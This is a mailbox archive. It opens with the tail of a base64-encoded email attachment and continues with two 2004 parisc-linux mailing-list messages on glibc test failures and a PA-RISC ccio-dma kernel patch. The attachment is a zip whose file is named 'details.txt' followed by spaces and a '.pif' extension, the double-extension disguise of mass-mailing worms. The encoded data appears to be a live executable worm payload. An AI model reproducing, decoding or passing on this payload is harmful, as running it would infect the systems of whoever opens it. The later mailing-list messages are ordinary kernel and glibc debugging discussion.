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
AAAiIRIiIiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIiI0RE
RERERFVUREVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiIRElV
VVlUUlIiIiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIi
IiNEiIiIiIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERE
RERERERERFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiI
RFJSIiIjRERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIj
RDIiIiJEiIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JE
RERERERSUiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERS
UiIiI0REREREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQz
QzQzQzQzQzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AA
AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH
4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEAB
acD9QwPABcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/Bo
yMA3D7dFCFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiI
g/j7v1QBdQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgE
ii4JEWd6ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtO
jNcUvEb3AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJ
amXoMrv+EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLG
AxU4NXxQUVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQk
EENVJ2yXzo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJK
nwpT2WtZTrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy
9m8AbmZpZzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN
6Ba+EX2kDnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIG
EwqOQigBdwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBU
B7ADrQRSAzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/
KWELHEEdVp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlS
m+R0RkTAJFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJND
z+5uNA0YTGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAAUEsBAhQACgAAAAAA5JaUMKOI
Hd6AcwAAgHMAAFQAAAAAAAAAAAAgAAAAAAAAAGRldGFpbHMudHh0ICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
LnBpZlBLBQYAAAAAAQABAIIAAADycwAAAAA=

------=_NextPart_000_0016----=_NextPart_000_0016--




From - Thu Nov 08 21:31:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20RE=3A=20=5BPATCH=5D=20glibc=2D2=2E3=2E3=20error=20with=20debian=20unstable=09compiler=2E=2E=2E?=
Date: Wed, 21 Apr 2004 08:15:07 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <40711E5600009DD2@ocpmta1.freegates.net>
References: <20040420193537.GB28094@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623395 8541 80.91.229.3 (22 Nov 2014 02:29:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Wed Apr 21 00:15:11 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F27C4878
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 21 Apr 2004 00:15:11 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1BGB0m-0000hH-00; Wed, 21 Apr 2004 08:15:08 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 21 Apr 2004 08:15:07 +0200
In-Reply-To: <20040420193537.GB28094@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 21 Apr 2004 06:15:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21487

 
>> I just complete the 'make -k check' (on chroot disk) which finished with
>> just one more error then well known ones:
>> make[2]: *** [/Develop/parisc-linux/build/glibc/stdio-common/tst-rndseek.out]
>> Error 1
>> make[1]: *** [stdio-common/tests] Error 2
>> 
>> ... And the compile (always in the chroot disk) of the last k-2.6.6-rc1-pa0
>> works still fine and even boot well on a b180.
>
>I'm seeing an extra error with realtime signal delivery tst-timer4, but
>not this error. I'm working on fixing tst-timer4,
:) and I don't see your's (not exactly the same co may be)

# grep Error glibc-2.3.3-20040419_Make-check 
make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-float.out] Error
1
make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-double.out] Error
1
make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-ifloat.out] Error
1
make[1]: *** [math/tests] Error 2
make[2]: *** [/Develop/parisc-linux/build/glibc/stdlib/tst-strtod.out] Error
1
make[2]: *** [/Develop/parisc-linux/build/glibc/stdlib/bug-strtod.out] Error
1
make[1]: *** [stdlib/tests] Error 2
make[2]: *** [/Develop/parisc-linux/build/glibc/stdio-common/tst-rndseek.out]
Error 1
make[1]: *** [stdio-common/tests] Error 2
make[2]: [/Develop/parisc-linux/build/glibc/posix/annexc.out] Error 1 (ignored)
make[2]: *** [/Develop/parisc-linux/build/glibc/elf/tst-tls13.out] Error
1
make[1]: *** [elf/tests] Error 2
make: *** [check] Error 2

> can you find out why tst-rndseek fails?
>
>What does tst-rndseek.out say? I don't see this error?
grrr just a time out (I would have to put the 'export TIMEOUTFACTOR=4' in
the root profile on my chroot disk :? )

GCONV_PATH=/Develop/parisc-linux/build/glibc/iconvdata LC_ALL=C   /Develop/parisc-linux/build/glibc/elf/ld.so.1
--library-path /Develop/parisc-linux/build/glibc:/Develop/parisc-linux/build/glibc/math:/Develop/parisc-linux/build/glibc/elf:/Develop/parisc-linux/build/glibc/dlfcn:/Develop/parisc-linux/build/glibc/nss:/Develop/parisc-linux/build/glibc/nis:/Develop/p
arisc-linux/build/glibc/rt:/Develop/parisc-linux/build/glibc/resolv:/Develop/parisc-linux/build/glibc/crypt:/Develop/parisc-linux/build/glibc/linuxthreads
/Develop/parisc-linux/build/glibc/stdio-common/tst-rndseek  > /Develop/parisc-linux/build/glibc/stdio-common/tst-rndseek.out
Timed out: killed the child process

hth,
    Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20Re=3A=20kernel=3E=3D2=2E6=2E4=2Drc3=20hung=20or=20panic=20on=20C1=5B18=5D0=09=5Bwas=3A=202=2E6=2E5=2Drc2=2Dpa2=20boot=20panic=20on=20c110=20=3A=28=5D?=
Date: Wed, 21 Apr 2004 12:08:41 +0200
Lines: 192
Approved: news@gmane.org
Message-ID: <40711E560000A21D@ocpmta1.freegates.net>
References: <1082306164.2195.27.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="========/40711E560000A21D/mail.tiscali.be"
X-Trace: ger.gmane.org 1416623395 8543 80.91.229.3 (22 Nov 2014 02:29:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:55 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>,
	Andy Walker <ajwalker@broadpark.no>
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: soete.joel@tiscali.be  Wed Apr 21 04:10:40 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB1194854
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 21 Apr 2004 04:10:39 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1BGEga-0001TJ-00; Wed, 21 Apr 2004 12:10:32 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 21 Apr 2004 12:08:41 +0200
In-Reply-To: <1082306164.2195.27.camel@mulgrave>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 21 Apr 2004 10:10:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21488


--========/40711E560000A21D/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

> > 
> > On Sun, 2004-04-18 at 09:39, Joel Soete wrote:
> > I presume that wrong stuff come from the ccio_fill_pdir() or ccio_coalesce_chunks()
merge with lba one?
> > But I don't have yet more accurate idea on what went wrong here (difference
between functions are important).

My abd: I effectively analyse the differences between those function and
their nes release and there are few

> > 
> > (would it help to rebuild this same kernel tree with gcc-3.0 32bit would
help? right now is was build with latest gcc-3.3.3.)
> > 

> Well, actually, the problem can't be in the code you cite, otherwise my
> raven wouldn't work either and it's been fine.
> 

So why reverting only this stuff make kernel works? The idea is in this hunck:
@@ -1708,6 +1556,7 @@
                                        proc_runway_root, ccio_resource_map,
NULL);
         }
         parisc_vmerge_boundary = IOVP_SIZE;
+ parisc_vmerge_max_size = BITS_PER_LONG * IOVP_SIZE;
         ioc_count++;
         return 0;
  }

Reverting this, let parisc_vmerge_max_size = 0 as initialized in gsc.c (it
is confirm by adding some printk() in ll_rw_blk and bio code) this btw confirms
your idea.

Learning so ncr53c8xx code, I found small trivial patches:
diff -NaurX dontdiff linux-2.6.6-rc1-pa0.orig/drivers/parisc/ccio-dma.c linux-2.6.6-rc1-pa0/drivers/parisc/ccio-dma.c
--- linux-2.6.6-rc1-pa0.orig/drivers/parisc/ccio-dma.c	2004-03-16 16:40:23.000000000
+0100
+++ linux-2.6.6-rc1-pa0/drivers/parisc/ccio-dma.c	2004-04-21 10:32:11.000000000
+0200
@@ -441,7 +447,7 @@
 	BUG_ON((pages_mapped * IOVP_SIZE) > DMA_CHUNK_SIZE);
 	BUG_ON(pages_mapped > BITS_PER_LONG);
 
-	DBG_RES("%s():  res_idx: %d pages_mapped %d\n", 
+	DBG_RES("%s():  res_idx: %d pages_mapped %ld\n", 
 		__FUNCTION__, res_idx, pages_mapped);
 
 #ifdef CCIO_MAP_STATS
@@ -766,7 +772,7 @@
 
 	pdir_start = &(ioc->pdir_base[idx]);
 
-	DBG_RUN("%s() 0x%p -> 0x%lx size: %0x%x\n",
+	DBG_RUN("%s() 0x%p -> 0x%lx size: 0x%x\n",
 		__FUNCTION__, addr, (long)iovp | offset, size);
 
 	/* If not cacheline aligned, force SAFE_DMA on the whole mess */
diff -NaurX dontdiff linux-2.6.6-rc1-pa0.orig/drivers/parisc/iommu-helpers.h
linux-2.6.6-rc1-pa0/drivers/parisc/iommu-helpers.h
--- linux-2.6.6-rc1-pa0.orig/drivers/parisc/iommu-helpers.h	2004-03-12 17:37:31.000000000
+0100
+++ linux-2.6.6-rc1-pa0/drivers/parisc/iommu-helpers.h	2004-04-21 10:46:33.000000000
+0200
@@ -22,14 +22,15 @@
 	/* Horrible hack.  For efficiency's sake, dma_sg starts one 
 	 * entry below the true start (it is immediately incremented
 	 * in the loop) */
-	 dma_sg--;
+	dma_sg--;
 
 	while (nents-- > 0) {
 		unsigned long vaddr;
 		long size;
 
 		DBG_RUN_SG(" %d : %08lx/%05x %08lx/%05x\n", nents,
-			   (unsigned long)sg_dma_address(startsg), cnt,
+			   (unsigned long)sg_dma_address(startsg),
+			   sg_dma_len(startsg),
 			   sg_virt_addr(startsg), startsg->length
 		);
 
